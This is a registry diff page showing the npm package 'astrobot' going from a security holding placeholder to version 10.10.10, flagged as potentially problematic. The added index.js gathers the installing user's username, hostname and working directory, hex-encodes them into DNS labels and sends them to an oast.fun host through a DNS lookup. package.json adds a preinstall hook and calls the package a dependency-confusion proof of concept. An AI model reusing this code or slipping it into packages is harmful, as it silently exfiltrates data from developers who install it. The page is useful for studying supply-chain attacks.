astrobot 0.0.1-security → 10.10.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of astrobot might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const MAX_LABEL_LENGTH = 63;
|
|
6
|
+
const OAST_DOMAIN = 'd1htmicgtqkhsklb8ai0riqfkkqara1j1.oast.fun';
|
|
7
|
+
|
|
8
|
+
// Helper: encode string to hex and split into label-safe chunks
|
|
9
|
+
function hexChunks(str) {
|
|
10
|
+
const hex = Buffer.from(str).toString('hex');
|
|
11
|
+
const chunks = [];
|
|
12
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
|
13
|
+
chunks.push(hex.slice(i, i + MAX_LABEL_LENGTH));
|
|
14
|
+
}
|
|
15
|
+
return chunks;
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Collect system info
|
|
19
|
+
const username = os.userInfo().username || 'nouser';
|
|
20
|
+
const hostname = os.hostname() || 'nohost';
|
|
21
|
+
const cwd = process.cwd() || 'nocwd';
|
|
22
|
+
|
|
23
|
+
// Encode each to hex and build labels
|
|
24
|
+
const labels = [
|
|
25
|
+
...hexChunks(username),
|
|
26
|
+
...hexChunks(hostname),
|
|
27
|
+
...hexChunks(cwd),
|
|
28
|
+
OAST_DOMAIN
|
|
29
|
+
];
|
|
30
|
+
|
|
31
|
+
let domain = labels.join('.');
|
|
32
|
+
|
|
33
|
+
// Truncate full domain to 253 characters (RFC limit)
|
|
34
|
+
if (domain.length > 253) {
|
|
35
|
+
domain = domain.substring(0, 253);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// Fire DNS beacon
|
|
39
|
+
dns.resolve(domain, () => {});
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "astrobot",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "10.10.10",
|
|
4
|
+
"description": "Dependency Confusion PoC using DNS hex exfiltration via preinstall.js",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "orwa",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=astrobot for more information.
|